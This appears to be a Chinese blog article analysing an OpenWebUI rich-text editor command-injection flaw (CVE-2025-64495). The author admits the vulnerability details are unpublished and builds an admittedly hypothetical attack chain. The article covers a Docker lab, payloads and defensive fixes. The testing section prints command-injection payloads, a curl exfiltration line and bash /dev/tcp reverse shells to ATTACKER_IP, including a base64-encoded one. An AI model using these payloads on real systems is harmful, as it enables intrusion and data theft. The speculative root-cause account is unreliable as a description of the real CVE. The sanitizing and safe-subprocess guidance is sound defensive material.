当前位置：首页 > news >正文

OpenWebUI富文本编辑器远程命令注入漏洞(CVE-2025-64495)深度解析与防御

news 2026/6/28 21:08:19

1. 项目概述：一次对OpenWebUI富文本编辑器的深度安全审计

最近在安全社区里，OpenWebUI这个开源项目因为一个编号为CVE-2025-64495的漏洞被推到了风口浪尖。这个漏洞的标签是“远程命令注入”，而且攻击入口点非常有意思——是应用里一个看似无害的“富文本提示词”编辑器。作为一名长期关注应用安全，特别是Web应用安全的研究者，我立刻来了兴趣。这不仅仅是一个简单的漏洞复现，它背后涉及的是现代Web应用中一个非常普遍但又容易被忽视的环节：富文本内容的安全处理。

OpenWebUI本身是一个功能强大的开源项目，很多开发者用它来快速搭建自己的AI对话界面。它内置的富文本编辑器，本意是让用户能更灵活、更美观地编排提示词，比如加粗、换行、插入代码块等。但问题恰恰出在这里，当富文本的渲染逻辑与后端处理逻辑没有做好严格的隔离和净化时，攻击者精心构造的“提示词”就可能变成一串危险的系统命令。这个漏洞的发现，给所有在应用中集成富文本编辑功能的开发者敲响了警钟——你提供给用户的“便利”，很可能成为攻击者通往服务器后台的“捷径”。

在接下来的内容里，我会带你一起深入这个漏洞的“案发现场”。我们不仅会一步步复现攻击者是如何利用这个漏洞的，更重要的是，我会拆解漏洞产生的根本原因，分析在富文本处理流程中哪些环节最容易失守，并分享在实际开发中如何构建有效的防御体系。无论你是安全研究员、运维工程师还是后端开发者，理解这个案例都能帮你更好地审视自己项目中的潜在风险。

2. 漏洞背景与核心原理深度解析

2.1 OpenWebUI架构与富文本功能定位

要理解这个漏洞，首先得搞清楚OpenWebUI是干什么的，以及富文本提示词这个功能在其中的角色。OpenWebUI是一个用于连接和交互各种大语言模型（LLM）的Web用户界面。你可以把它想象成一个“万能遥控器”，后端可以对接Ollama、OpenAI API、Claude等多种AI模型，而它提供了一个统一、美观的前端界面给用户使用。

在这个界面中，用户与AI对话的核心就是“提示词”。为了提高提示词的可读性和编排能力，OpenWebUI引入了富文本编辑器。用户不再只能输入纯文本，而是可以像使用Word或语雀那样，使用加粗、斜体、代码块、列表，甚至可能包含图片或特定格式的标记。这个功能本身极大地提升了用户体验，尤其是在编写复杂、结构化的提示词（如系统指令、多步骤任务描述）时非常有用。

从技术架构上看，处理流程大致是这样的：

前端编辑：用户在浏览器中的富文本编辑器（可能是基于Quill、TinyMCE或Slate等库）中编写内容。
数据提交：编辑器将内容转换成一种结构化的数据格式，最常见的是HTML，也可能是Markdown或自定义的JSON，然后通过API发送给后端。
后端处理：后端服务（通常是Python的FastAPI或类似框架）接收到这些数据。
内容渲染/使用：后端可能需要对这些富文本内容进行一些处理，比如：
- 存储：直接存入数据库。
- 转换：将HTML/Markdown转换为纯文本，再发送给大语言模型（因为大多数LLM API只接受纯文本）。
- 渲染：在Web页面的其他部分（如历史记录展示）将存储的富文本数据渲染成HTML。

漏洞就潜伏在第2步到第4步的这个链条里。关键在于，后端是如何“理解”和“处理”前端发送过来的富文本数据的。

2.2 远程命令注入漏洞的本质与常见触发场景

命令注入，尤其是远程命令注入（RCE），是Web安全领域最严重的漏洞之一。它的本质是攻击者能够将恶意构造的系统命令，插入到应用程序原本用于执行合法系统命令或调用外部程序的参数中，并使其成功执行。

一个典型的场景是，应用程序有一个功能需要调用系统命令，例如：

ping -c 4 {user_input}（网络诊断）
convert {user_input} output.jpg（图像处理）
git clone {user_input}（代码管理）

如果{user_input}这个变量直接来自用户输入，且没有经过任何过滤或转义，攻击者就可以输入8.8.8.8; cat /etc/passwd。最终执行的命令就变成了：

ping -c 4 8.8.8.8; cat /etc/passwd

分号;在Unix-like系统（包括Linux和macOS）中是一个命令分隔符。系统会先执行ping，然后执行cat /etc/passwd，从而泄露敏感文件内容。在Windows系统中，对应的分隔符可能是&或&&。

那么，这个漏洞是怎么和“富文本”扯上关系的呢？这通常发生在以下两种情形：

富文本内容被用于拼接系统命令参数：这是CVE-2025-64495最可能的触发方式。想象一个场景：OpenWebUI的后端需要处理用户上传的、通过富文本编辑器嵌入的“文件”或“特殊指令”。例如，一个功能是“根据提示词中的文件名，调用系统工具处理该文件”。如果后端代码天真地认为富文本内容经过前端编辑器“净化”了，直接从中提取文件名并拼接到os.system()或subprocess.run()的调用中，漏洞就产生了。
富文本渲染引擎本身存在漏洞：另一种可能是，OpenWebUI使用的富文本渲染库（无论是Python的html2text、markdown库，还是某个自定义解析器）存在缺陷。攻击者提交一段精心构造的、包含特定HTML标签或属性的富文本，该文本在渲染/转换过程中，意外地触发了库的某个功能，导致执行了系统命令。这种情况相对少见，但并非不可能。

注意：在复现和研究此类漏洞时，绝对禁止在非授权的生产环境或他人的服务器上进行测试。所有操作必须在你自己完全控制的隔离环境（如本地虚拟机、Docker容器）中进行。

2.3 CVE-2025-64495漏洞的假设性成因推演

由于漏洞细节尚未完全公开，我们基于“富文本提示词”和“远程命令注入”这两个关键信息，可以进行合理的逻辑推演。以下是一个高度可能的漏洞触发路径：

攻击链假设：

攻击入口：攻击者在OpenWebUI的聊天界面，使用富文本编辑器编写一条“提示词”。他并非输入正常的文本，而是输入了一段包含特殊HTML标签和属性的恶意内容。例如，他可能利用编辑器支持自定义HTML或某种模板语法的特性，插入了类似<img src=x onerror=alert(1)>的测试载荷，但最终目标是执行系统命令。

数据处理盲点：后端API接收到这个提示词数据。代码逻辑可能类似于：

# 伪代码，展示问题逻辑 def save_prompt(prompt_data): # prompt_data 可能是一个包含html内容的字典 html_content = prompt_data.get('content', '') # 错误做法1：直接存储，后续某个功能会读取并“使用” db.save(html_content) # 或者错误做法2：尝试将其转换为纯文本给LLM，但转换函数有缺陷 plain_text = some_unsafe_html_to_text_converter(html_content) call_llm_api(plain_text)

命令注入触发点：系统中存在另一个功能模块（可能是异步任务、文件处理、插件系统等），会读取存储的提示词内容并用于构建系统命令。例如，一个“导出对话历史为PDF”的功能：

# 伪代码，危险的操作 def export_to_pdf(conversation_id): conversation = db.get(conversation_id) # 从对话中提取用户输入的提示词内容 user_input = conversation.prompt_content # 为了生成PDF，需要调用外部工具wkhtmltopdf，并将用户输入作为参数的一部分 command = f"wkhtmltopdf --title '{user_input}' input.html output.pdf" # 致命漏洞：user_input未经过滤直接拼接进命令！ os.system(command) # 或 subprocess.run(command, shell=True)

漏洞利用：攻击者将提示词内容设置为' && cat /etc/passwd #。那么拼接后的命令变为：
```
wkhtmltopdf --title '' && cat /etc/passwd #' input.html output.pdf
```
- '闭合了前面的单引号。
- &&表示前一条命令成功后执行下一条。
- cat /etc/passwd是攻击者要执行的命令。
- #将命令行后面的所有内容（包括第二个'）都注释掉。这样，系统就会在执行wkhtmltopdf命令（可能会失败，但不影响）后，成功执行cat /etc/passwd。

这个推演的核心在于：富文本内容在应用内部流转了多个环节，在某个不被注意的环节（非主要渲染环节），它被当成了可信任的数据并用于危险操作（命令拼接）。这种“上下文切换”导致的安全问题非常典型。

3. 漏洞复现环境搭建与验证

3.1 搭建安全的本地测试环境

在深入研究漏洞之前，我们必须建立一个与外界隔离的测试环境。这是安全研究的第一原则，既能防止意外影响他人，也能保护我们的主机不受潜在恶意载荷的影响。

方案选择：使用Docker容器Docker是搭建此类环境的理想工具，它轻量、可快速重置，并且能完美模拟一个独立的Linux系统。

准备Docker环境：确保你的开发机上已安装Docker和Docker Compose。

创建项目目录：

mkdir openwebui-cve-test && cd openwebui-cve-test

编写Dockerfile：为了更贴近漏洞环境，我们假设基于一个存在漏洞的OpenWebUI版本。我们可以从官方仓库拉取一个可能受影响的版本镜像，或者自己构建。

# Dockerfile # 使用一个通用的Python镜像作为基础 FROM python:3.11-slim # 设置工作目录 WORKDIR /app # 复制漏洞复现所需的代码（这里需要你先获取存在漏洞的OpenWebUI代码版本） # 假设我们有一个 `vulnerable_app` 目录存放代码 COPY ./vulnerable_app /app # 安装系统依赖和Python包 RUN apt-get update && apt-get install -y --no-install-recommends \ gcc \ && rm -rf /var/lib/apt/lists/* RUN pip install --no-cache-dir -r requirements.txt # 暴露OpenWebUI默认端口 EXPOSE 8080 # 启动命令 CMD ["python", "main.py"]

实操心得：在实际研究中，获取存在漏洞的精确版本代码是关键。你可以通过Git克隆OpenWebUI仓库，并使用git checkout <commit-hash>切换到漏洞修复前的某个提交。务必记录下这个版本号，这是你复现的基准。

编写docker-compose.yml：使用Docker Compose可以更方便地管理服务。

# docker-compose.yml version: '3.8' services: openwebui: build: . container_name: cve-2025-64495-test ports: - "8080:8080" # 以非root用户运行，稍微提升安全性（但无法防御RCE本身） user: "1000:1000" # 将容器网络与宿主机隔离，防止容器内恶意命令访问宿主机网络（有一定限制） network_mode: "bridge" # 设置资源限制 deploy: resources: limits: cpus: '1' memory: 2G # 为了方便调试，可以将代码目录挂载为卷（开发时） # volumes: # - ./vulnerable_app:/app stdin_open: true tty: true

构建并运行：
```
docker-compose up --build -d
```
访问http://localhost:8080即可看到运行中的OpenWebUI。

3.2 构造漏洞验证Payload

根据之前的推演，我们需要构造一个能通过富文本编辑器提交，并最终触发命令注入的Payload。这里的关键是猜测后端可能如何“误用”富文本数据。

第一步：探测富文本编辑器的能力首先，我们需要了解目标OpenWebUI版本的富文本编辑器允许哪些输入。常见的方法有：

直接输入HTML：在编辑器中尝试输入<b>test</b>，看它是否被渲染为加粗文本。如果可以，说明编辑器可能允许直接的HTML标签。
检查编辑器工具栏：看是否有“插入图片”、“插入链接”、“源代码”等按钮。“源代码”模式是直接输入HTML的常见入口。
Burp Suite拦截：这是最有效的方法。在浏览器中正常操作，用Burp Suite拦截提交的HTTP请求，观察prompt或content字段的原始格式。它是HTML字符串、Markdown还是自定义的JSON结构？

第二步：设计试探性Payload假设我们发现后端接收的是HTML内容。我们不能一开始就使用破坏性的rm -rf /。应该从无害的、能产生明显回显的命令开始。

基础测试：
```
 <img src=1 onerror="console.log('xss')">
```
这个Payload用于测试基本的XSS，如果后端在某个环节直接渲染了这个HTML且没有转义，可能会触发前端弹窗或日志。虽然这不是RCE，但能证明用户输入被不当执行。
命令注入试探：我们需要猜测后端可能拼接命令的地方。一个经典的试探方法是利用时间延迟。
```
 ' && sleep 10 #
```
或者，尝试让服务器与我们的监听端建立连接（需在测试机开启监听）：
```
' && curl http://your-test-server:9999/?leak=$(whoami) #
```
重要警告：curl或wget外连测试仅限在你的完全内网环境或同一Docker网络中进行。切勿对互联网地址进行测试，这不仅是攻击行为，也可能触犯法律。

第三步：构造富文本Payload我们需要将命令注入Payload“包装”成富文本编辑器可能接受的形式。例如，如果编辑器允许通过“插入链接”功能，其底层HTML可能是：

<a href="javascript:alert(1)">点击这里</a>

但命令注入通常需要出现在属性值之外。也许攻击者发现，在“代码块”或“引用块”中，内容被以某种原始形式传递，过滤较弱。Payload可能最终看起来像这样（假设漏洞点在导出PDF功能）：

这是一个正常的提示词开头。 `' && ping -c 4 127.0.0.1 #` 这是提示词的结尾。

当后端转换这个“代码块”内容时，如果过滤不当，反引号被去除，里面的命令就被暴露并拼接。

3.3 漏洞验证与信息收集

一旦我们通过时间延迟或外连请求确认了命令注入点的存在，下一步就是收集信息，并尝试获取一个反向Shell，以便进行更深入的交互式测试。

信息收集命令：
- ' && whoami #– 查看当前进程用户。
- ' && id #– 查看用户和组信息。
- ' && pwd #– 查看当前工作目录。
- ' && ls -la / #– 查看根目录，了解服务器环境。
- ' && cat /etc/passwd #– 查看系统用户（经典测试）。
- ' && env #或' && printenv #– 查看环境变量，可能泄露密钥、路径等信息。
- ' && uname -a #– 查看内核和系统架构。
获取反向Shell：这是漏洞利用的常见目标，意味着攻击者可以在被入侵服务器上执行任意命令。在仅用于本地授权测试环境中，我们可以这样做：
- 在测试机（攻击者机器）上启动监听：
```
nc -lvnp 4444
```
- 构造Payload触发连接： Linux下常用的反向Shell Payload有很多，一个基于bash的常见例子是：
```
' && bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" #
```
  你需要将ATTACKER_IP替换为你运行nc命令的机器的IP地址（在Docker环境里，可能是宿主机的IP或Docker网关IP，如172.17.0.1）。
- 使用编码或替代命令：如果空格、引号或特殊字符被过滤，需要尝试编码。例如，使用Base64编码命令：
```
# 先编码命令：echo 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1' | base64 # 得到编码字符串，假设为：YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= ' && echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMD4mMQo= | base64 -d | bash #
```

注意事项：在实际漏洞研究中，获取反向Shell后，你的操作应仅限于验证漏洞危害性（如读取应用配置文件、查看数据库连接字符串等），并立即记录和清理。绝对不要在环境中留下后门或进行任何破坏性操作。测试完成后，使用docker-compose down -v彻底销毁整个环境。

4. 漏洞根因分析与代码审计视角

4.1 追踪漏洞触发路径：从富文本到系统调用

通过复现，我们假设已经定位到了触发命令注入的具体API端点或功能模块。现在，我们需要像法医一样，逆向追踪漏洞的完整路径。这通常需要结合动态测试和静态代码分析。

动态追踪：使用Burp Suite的Repeater功能，反复发送精心构造的Payload，并观察响应时间、错误信息、以及服务器日志（如果你有权限查看）。时间延迟是判断命令是否执行的强信号。
静态代码审计：这是根本。我们需要审计OpenWebUI的源代码（特定漏洞版本）。搜索关键词是重中之重：
- 危险函数：在Python中，重点搜索os.system,subprocess.run,subprocess.Popen,os.popen,commands.getoutput（Python 2），以及eval,exec。
- Shell参数：搜索shell=True这个参数，它与subprocess一起使用时会非常危险。
- 用户输入源：搜索处理提示词、聊天内容、富文本内容的函数和路由。关注参数名如content,prompt,html,message等。
- 数据处理函数：搜索用于清洗、转换、提取富文本内容的函数，如html_to_text,markdown_to_html,sanitize_html,extract_text等。

假设的漏洞代码片段分析：让我们设想在代码审计中可能发现的问题代码。假设在backend/api/prompts.py中有如下路由：

@app.post("/api/v1/prompts/export") async def export_prompt_to_file(prompt_id: str, format: str = "txt"): prompt = get_prompt_from_db(prompt_id) # 从数据库获取提示词对象 user_content = prompt.content # 假设这里存储的是富文本HTML # 漏洞点：一个不安全的“清理”函数，意图移除HTML标签，但逻辑有缺陷 def unsafe_clean_html(html): # 错误示例：只移除简单的<script>标签，但对属性事件处理程序等毫无防备 import re cleaned = re.sub(r'<script.*?>.*?</script>', '', html, flags=re.IGNORECASE | re.DOTALL) # 更糟糕的是，它可能用了一种危险的方式提取“纯文本” # 例如，使用正则表达式粗暴地移除所有‘<...>’标签，但忽略了标签属性中的恶意内容 cleaned = re.sub(r'<[^>]+>', '', cleaned) return cleaned.strip() # 使用这个有缺陷的清理函数 clean_text = unsafe_clean_html(user_content) # 另一个潜在漏洞点：为了生成文件，调用系统命令 if format == "pdf": # 将清理后的文本写入临时文件 temp_file = f"/tmp/prompt_{prompt_id}.txt" with open(temp_file, 'w') as f: f.write(clean_text) # 致命操作：使用shell=True，且用户控制的clean_text间接影响了命令 output_file = f"/tmp/prompt_{prompt_id}.pdf" # 假设使用pandoc转换，但路径或参数拼接不安全 command = f"pandoc {temp_file} -o {output_file} --title '{clean_text[:50]}...'" # 如果clean_text包含单引号和命令分隔符，注入发生！ result = subprocess.run(command, shell=True, capture_output=True) # shell=True 是帮凶 ...

在这段假设的代码中，漏洞链条非常清晰：

unsafe_clean_html函数未能有效净化HTML属性中的JavaScript（如onerror）或特殊字符。
更重要的是，它处理后的clean_text被直接拼接进了command字符串。
subprocess.run使用了shell=True，这意味着整个字符串会被系统的shell（如/bin/bash）解析执行，其中的特殊字符（;,&,|, 反引号`，$()等）都会生效。

4.2 安全编码的致命误区与最佳实践

这个漏洞暴露了开发者在安全编码上的几个常见误区：

误区一：“前端过滤了，后端就安全了”这是最危险的想法。前端验证是为了用户体验，后端验证是为了安全。攻击者可以完全绕过浏览器，直接使用工具（如curl、Postman、Burp Suite）向后端API发送任意格式的请求。所有安全检查必须在后端进行。

误区二：“我只移除了<script>标签”富文本的安全处理（净化）是一个极其复杂的问题。仅仅移除<script>标签是远远不够的。攻击者可以利用大量其他标签和属性执行JavaScript（如<img onerror>,<svg onload>,<a href=javascript:>,<iframe src>等），更不用说CSS注入、HTML注入等。必须使用业界成熟的、专门针对富文本设计的净化库。

误区三：“使用shell=True方便”subprocess.run(cmd, shell=True)确实方便，因为它允许你使用shell的特性（如管道|、通配符*）。但这也意味着，如果cmd的任何部分来自用户输入，你就必须对输入进行极其严格的转义，这非常容易出错。最佳实践是：尽可能避免使用shell=True。

安全最佳实践：

使用安全的子进程调用方式：
```
# 错误：危险 subprocess.run(f"echo {user_input}", shell=True) # 正确：安全 subprocess.run(["echo", user_input]) # 将命令和参数作为列表传递
```
将命令和参数作为列表传递，操作系统会直接执行程序，而不是先交给shell解析，从而避免了命令注入。

使用权威的HTML净化库：对于Python，bleach库是Mozilla维护的行业标准。它允许你定义一个白名单，指定允许的标签和属性。

import bleach from bleach.sanitizer import Cleaner allowed_tags = ['p', 'b', 'i', 'u', 'em', 'strong', 'br', 'code', 'pre'] allowed_attributes = {'a': ['href', 'title'], 'img': ['src', 'alt']} cleaner = Cleaner(tags=allowed_tags, attributes=allowed_attributes) safe_html = cleaner.clean(user_html_content)

对于需要将HTML转换为纯文本的场景，使用bleach.clean并设置strip=True，或者使用html2text库（但也要注意其配置）。

对用于拼接命令的参数进行严格转义：如果万不得已必须拼接字符串构造命令（应尽量避免），请使用shlex.quote()（对Unix shell）或相应的转义函数。
```
import shlex user_title = "My Document'; rm -rf / #" # 错误 command = f"wkhtmltopdf --title '{user_title}' ..." # 正确 safe_title = shlex.quote(user_title) # 会输出：'My Document'\''; rm -rf / #' command = f"wkhtmltopdf --title {safe_title} ..."
```
但请记住，这依然是次优方案，优先使用参数列表。
最小权限原则：运行Web应用的进程应该使用一个专用的、低权限的系统用户，而不是root。这样即使发生命令注入，攻击者能造成的破坏也有限（例如，无法直接修改系统关键文件）。

5. 修复方案与防御策略实施

5.1 针对CVE-2025-64495的立即修复步骤

假设你是OpenWebUI的维护者，在收到漏洞报告后，应该如何快速定位并修复？

定位漏洞代码：根据漏洞报告中的描述（例如，通过富文本提示词在XXX功能处触发RCE），结合我们上面的审计思路，快速搜索相关代码文件。重点审查与“导出”、“转换”、“系统调用”、“插件执行”相关的功能模块。

修复策略选择：

策略A：输入净化：如果漏洞点在于富文本内容在后端被不当使用，那么在最开始接收数据的地方，或者在数据被用于危险操作之前，进行严格的净化。

修复示例：在数据入库前或使用前，强制通过bleach库进行清理，只允许绝对必要的标签和属性。

代码修改：

# 在接收提示词的API端点处 from bleach import clean ALLOWED_TAGS = ['p', 'br', 'code', 'pre', 'span'] # 根据业务需要严格定义 ALLOWED_ATTRIBUTES = {} # 除非必要，否则不允许任何属性 @app.post("/api/prompt") async def save_prompt(prompt_data: PromptSchema): raw_html = prompt_data.content # 进行净化，并剥离所有标签，只保留文本内容用于可能触发命令的场景 safe_text = clean(raw_html, tags=[], attributes={}, strip=True) # 将safe_text存入数据库，而不是raw_html save_to_db(safe_text)

策略B：消除危险调用：如果漏洞点在于某个功能不必要地使用了系统命令，那么最佳修复方式是重写该功能，使用纯Python库来实现。
- 修复示例：将调用wkhtmltopdf生成PDF的功能，替换为使用WeasyPrint或ReportLab等Python PDF库。
- 代码修改：
```
# 修复前 import subprocess def export_pdf(content): # ... 拼接命令 ... subprocess.run(command, shell=True) # 修复后 from weasyprint import HTML def export_pdf(content): html = HTML(string=content) html.write_pdf('/path/to/output.pdf')
```

策略C：安全地调用命令：如果必须调用外部命令，则必须使用参数列表形式，并避免shell=True。

修复示例：

# 修复前 title = get_user_input() # 可能包含恶意内容 cmd = f"tool --title '{title}' input output" subprocess.run(cmd, shell=True) # 修复后 title = get_user_input() # 即使使用列表形式，如果title作为参数的一部分，仍需注意其内容不应被解析为选项 # 更好的做法是将内容写入文件，然后将文件路径作为参数 subprocess.run(["tool", "--title", title, "input", "output"]) # 比shell=True安全，但title若以`-`开头仍可能被解析为选项 # 最安全：将内容写入临时文件，传递文件路径 with tempfile.NamedTemporaryFile(mode='w', delete=False) as f: f.write(title) temp_path = f.name try: subprocess.run(["tool", "--title-file", temp_path, "input", "output"]) finally: os.unlink(temp_path)

编写回归测试：修复后，必须为这个漏洞点编写专门的单元测试或集成测试，模拟攻击Payload，确保修复有效且未来不会复发。

def test_prompt_export_command_injection(): malicious_prompt = "'; cat /etc/passwd; #" # 模拟调用导出功能 response = client.post("/api/export", json={"prompt": malicious_prompt}) # 断言：响应不应成功，或者确保命令未执行（可通过检查日志或模拟subprocess来验证） assert response.status_code != 500 # 更佳实践：使用mock替换subprocess.run，检查其是否被以危险方式调用

5.2 构建纵深防御体系

修复一个具体漏洞是“治标”，构建一套防御体系才是“治本”。对于处理用户可控富文本的应用，应从多个层面建立防线：

防御层	具体措施	说明
输入层	1.内容安全策略（CSP）：在HTTP响应头中设置严格的CSP，禁止内联脚本执行，限制资源加载源。	即使恶意脚本注入成功，CSP也能阻止其执行，是缓解XSS的最后一道有效防线。
2.严格的Content-Type：确保API响应正确的`Content-Type`（如`application/json`），避免浏览器误解析为HTML。	防止某些类型的反射型注入。
处理层	1.白名单净化：使用`bleach`等库，基于严格的白名单策略净化HTML。只允许业务必需的标签和属性。	这是防御富文本XSS和潜在注入的核心。
2.上下文输出编码：在将用户数据输出到不同上下文（HTML属性、JavaScript、CSS、URL）时，使用专门的编码函数。	防止因输出位置不当导致的注入。
3.禁用危险功能：在富文本编辑器中，禁用“编辑HTML源码”功能，或对其源码进行二次净化。	减少攻击面。
系统交互层	1.避免命令拼接：重构代码，用安全的库函数替代系统命令调用。	根除命令注入的可能性。
2.必须调用时，使用参数列表：使用`subprocess.run([‘cmd’, ‘arg1’, ‘arg2’])`，永不使用`shell=True`。	大幅提升命令注入难度。
3.最小权限运行：应用服务使用非root、无特权用户运行。	限制漏洞成功利用后的影响范围。
监控与响应	1.日志记录：详细记录所有用户输入、敏感操作（如文件读写、命令执行）的日志。	便于事后审计和攻击检测。
2.WAF（Web应用防火墙）：部署WAF，配置规则拦截常见的命令注入、XSS攻击模式。	提供一层额外的网络层防护。
3.依赖项扫描：定期使用`safety`,`trivy`,`dependabot`等工具扫描项目依赖库的已知漏洞。	OpenWebUI本身可能依赖了存在漏洞的第三方库。